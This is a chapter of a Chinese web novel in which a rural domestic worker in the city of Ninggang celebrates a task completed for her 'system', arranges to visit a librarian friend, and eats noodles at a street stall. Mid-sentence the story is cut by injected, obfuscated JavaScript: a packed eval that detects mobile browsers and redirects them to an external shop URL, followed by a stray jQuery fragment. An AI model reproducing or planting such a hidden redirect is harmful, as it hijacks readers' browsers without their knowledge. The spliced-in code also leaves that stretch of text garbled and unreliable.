这些日子里卯足了劲去准备,林秀秀以为自己拿到九十分的时候一定会高兴疯了。
反而真的看到这个分数的时候,她整个人出奇的淡定。
“确定结算。”林秀秀轻声说道。
系统屏幕闪烁两下,然后出乎意料的在屏幕上放了一个小小的烟花。
林秀秀愣了一下。
随后系统屏幕上出现了另一行字。
「恭喜宿主完成任务,在成为完美家政的路上,迈出了属于自己的一大步。」
林秀秀不由自主的捂住心口。
糟糕,突然跳的好快。
她好像有点忍不住的要开心了。
人总是这样,很奇怪吧。
当遭遇了什么挫折或者完成了什么成就时,如果只有自己一个人在,那么就会很淡然的仿佛什么都没发生一样。
但是如果这时候旁边出现了一个安慰情绪或者分享庆祝的人,于是心情就会突然放大很多倍。
委屈的像是天塌了,又或者快乐的像是捡钱了一样。
林秀秀此刻就是这样的感受。
系统为她放了一个小小的烟花,庆祝她的成功。
这种感觉太棒了,让人着迷。
第二天早上起床做饭的时候,林秀秀都下意识的哼着小曲。
王姐听着她嘴里断断续续的歌声,忍不住笑着打趣道,“哟,遇到什么好事啦?心情好的很嘛。”
林秀秀咧嘴一笑,“没什么,就是心情好。”
吃完饭王姐和她一起洗碗,“明天星期五,我和老赵带小军去他阿婆家住两晚上,老人家想孙子了,这两天你就放假休息吧。”
王姐说着,又没忍住唠叨几句,“天气都要凉了,你尽早去买两身厚衣服穿呀,真的冷下来再买哪里来得及呀。”
她絮絮叨叨,“我昨天晚上起夜,路过你房间的时候还听到你在咳嗽了,要多注意身体健康晓得吗?”
林秀秀摸了摸身上的衬衫,这件衣服还是她来的时候带来的。
前几日和家里通过电话,陈翠琼问她要地址,说要给她寄些厚衣裳过来,家里已经冷了,晓梅晓娟已经穿上了厚一点的线裤,卫东还在穿着一件衬衣到处跑。
林秀秀想了想,只说寄来一些穿在里面的线衣线裤就好。
她往年冬天的棉袄很厚,但是上面多少都有补丁,有她砍柴时不小心划破的,也有干活时磨烂的,但整体还是好的,所以都是补了补又穿。
只是带到宁港来就不合适,宁港要更发达,大街小巷上大家几乎都会很注重穿着,即便是有补丁,也是小小的一个,不起眼。
外头的棉袄棉裤买件新的,里头的衣服可以穿自己的。
这么打算好,林秀秀就回去数自己的钱还有多少,够不够买新衣服,不够的话那就要等下一次发工资。
好在她花钱的地方并不多,当初来宁港的时候带了钱都没花完,后面还有她留下的三十块钱工资。
坐公交车和办借书卡花了一点,但总体来说还算够用。
林秀秀把钱数好,小心的叠好放在手绢里包好,等周末的时候去买新衣服。
只是去哪里买她还不太清楚。
下午的时候,林秀秀去了图书馆。
孟晓雨正在推着小车整理书架,林秀秀走过去,顺手帮她一起整理。
孟晓雨余光瞥到她,高兴的笑了,她今天也扎着高高的马尾,小圆脸笑起来像个苹果一样。
“你今天怎么来啦?书这么快看完啦?”孟晓雨用小小的气声问道。
“没有呢,”林秀秀也压低了声音用气声回答她,“我来找你问点事情。”
“那我弄快些。”孟晓雨说着,手上放书的动作更快了。
这一车书都是别人看完还回来的,孟晓雨今天的工作就是把这些书做好登记放回原位。
她已经在还书台提前分过类了,因此这会儿摆放起来就很简单。
不一会儿小车上的书就全放空了。
孟晓雨推着空空的小车带着林秀秀往外走,和一起工作的同事说了一声,就带林秀秀去了员工休息室。
休息室不大,摆着一张方桌,还有四把椅子,更里头的小隔间里摆着一张床,休息时可以睡一下。
孟晓雨让她坐下,然后从自己包里拿出两只红澄澄的柿子,分给了林秀秀一只。
“吃柿子,我外婆家自己种的柿子树,挑了几只熟的好的,甜的很。”
她说着,自己先咬了一口,甜的眯起眼睛来。
“一点都不涩口,今年这批柿子熟的蛮好,我下次回外婆家再多摘几个,给你带些。”
林秀秀也咬了一口,果真是甜。
甜滋滋的纯柿子味,一点都不涩口,皮是薄薄的,轻轻一撕就裂开了,里头的果肉像蜂蜜一样浓稠流心,又软又甜。
她享受的也眯起了眼睛,真好吃啊。
孟晓雨大口大口的吃完了柿子,还有些意犹未尽,“早知道你今天来,我就再多带两个来了。”
说着想起来什么,“对了,你说要问我事情,你想问什么?”
她把手擦干净,又把柿子皮扔到垃圾桶里,然后托着脸好奇的看着林秀秀。
林秀秀想了想,“天气冷了,我想买件厚衣服,想问问你哪里的比较便宜划算些。”
孟晓雨猛的一拍手,“问我你就问对人了!我妈最喜欢淘逛衣服了,整个宁港哪家商店的料子最好最便宜,哪家裁缝的手艺最好她如数家珍的。”
她说着摸摸下巴,“你哪天有时间干脆跟我回家吃饭好了呀,我让我妈妈跟你讲,她很爱讲这些,虽然我爸每次都不听,但她讲起来还是很开心。”
她说着想起什么,“我有一件外套,料子厚实又漂亮,就是我妈选了布料拿去裁缝店找老师傅做的,特别好看,穿上和杂志女郎一模一样!”
孟晓雨表情有几分遗憾,恨不得那件衣服现在就在自己手边,正好可以拿给林秀秀好好看一看。
林秀秀心里一动,她是愿意和孟晓雨交好的。
孟晓雨是大学生,读过很多书,和人相处的时候开朗又大方,还会贴心的帮别人着想。
这样的人谁都愿意和她交朋友。
“我这周末都有时间,”林秀秀说,“如果不麻烦的话,我就来打扰了。”
“不麻烦不麻烦,不打扰不打扰,”孟晓雨眉开眼笑,“你都不晓得,我回家说起你,我妈也喜欢你呢。”
林秀秀有点讶异,提起过她?
孟晓雨在认识林秀秀的第一天回家就和她妈妈讲了。
她和妈妈像好朋友一样,什么心里话都讲。
孟晓雨说自己观察她好几天,可林秀秀太专注了,根本没注意有人在看她。
孟晓雨看她身上不算新的衣服,还穿着一双旧布鞋,一副很朴实的样子,但写字的时候很认真,眼睛瞪得很大,恨不得把字都瞪进心里一样。
她越看越觉得这个女孩子一定是个很厉害很有想法的女孩子。
这才主动上前搭话。
她妈妈听后,笑着说,“听你这么说,妈妈也想见见她了。”
两个人约好周六的中午去孟晓雨家里吃饭,孟晓雨专门给她写了地址和公交车的路线,就怕她找不到路。
林秀秀小心的收好纸条,心里又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800032|209242||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
紧张又期待。
周五下午王姐回来的比平时早,要带回家的行李已经提前收拾好了,她一会儿先去学校接小军,然后和赵先生坐大巴车回去。
王姐一家走了,林秀秀自己也不想做饭,于是拿好钥匙,准备去外面吃点。
说起来她还没有正经在外头吃过饭。
早餐不算。
林秀秀对着镜子整理了一下自己,然后就下楼去了。
这个时间街上的人多的很,正是下班的时间点,马路上自行车很多,潮水一样往家赶。
车铃叮铃叮铃响,男人把公文包挂车把上,小孩坐在横梁上,腿晃两下就会被骂。
林秀秀挤在人群里顺着路走,没有特别的目的地,只是随便顺着走。
这是她第一次这样悠闲的走在马路上,打量着宁港这座城市。
宁港的名字从前会出现在书上,老师的讲述里,还有同村人的嘴巴里。
只是哪个和哪个说的都不一样。
宁港是繁华的,是拥挤的,是富裕的,也是陌生的。
林秀秀来的时候带着满心的期待和紧张,还有一些斗志和害怕。
现在她依旧对这座城市不太熟悉。
但她总会有认识这里的那一天。
林秀秀漫无目的地走,左看看右看看。
路边有报刊亭,小小一个,窗口摆着报纸杂志,时不时就有人停下来,翻翻看看,然后买一份晚报带走。
弄堂口烟纸店的木板窗半拉开,玻璃柜台里面摆着火柴、肥皂和糖果,还有瓶装的力波啤酒,门口挂着传呼电话的小木牌子,有人会站在那里等接电话。
从弄堂口往里瞧,头顶横七竖八从各个方向伸出来晾衣的竹竿,床单、衬衫、小孩的衣裳垂在半空,风一吹就轻轻的晃。
不少人家直接把小方桌搬到门外,端着饭碗露天吃夜饭。
小孩子放了学就满弄堂追跑打闹,尖叫笑闹,满地跑,然后被大人喊回去吃饭。
颇有意思,她看的津津有味。
走着走着才发现,路灯亮起来了。
林秀秀走累了,准备返回去顺便找个地方吃饭。
刚转回去走了两步,就闻到一股不知哪里来的香味,肚子瞬间叽里咕噜的叫了起来。
好饿。
她吸吸鼻子,跟着味道走了几步,找到了一家小摊子。
昏黄的电灯泡下,师傅正拿着长筷子哗啦哗啦翻炒面条,酱油浇下去,面条一下子变成深酱褐色,混着碧绿肥厚的上海青,煎蛋边缘煎得起了焦泡,油光闪闪。
他身后是矮木桌和塑料板凳,桌面上沾着一点点油渍。
林秀秀没怎么犹豫,就吃这家吧。
她点了炒面和一个煎蛋,师傅笑着招呼她自己坐,不多会儿,炒面就端了上来。
搪瓷碗里盛得满满当当,热气腾腾扑到脸上。
她夹起一筷子塞进嘴里。
面条微微偏硬,不是软烂口,酱油咸鲜,带一点点甜,是宁港偏好的甜口,锅气很重,油份也足,解馋又管饱。
上海青清嫩解腻,煎蛋外圈煎的焦脆,一口下去脆响又扎实。
没有花里胡哨的调料,就是猪油、生抽、一点点糖,还放了一丢丢鲜辣粉。
林秀秀埋头苦吃,好好的犒劳自己的胃。
结账的时候老板笑眯眯,“一共两块三角钱,吃的味道还好吧?”
林秀秀没说话,竖起大拇指,老板发出爽朗的笑声。
第二天,出发前,林秀秀下楼去烟纸店挑了四只黄澄澄的梨装进网兜里,路过菜市场还切了一点红肠带去。
她有点紧张。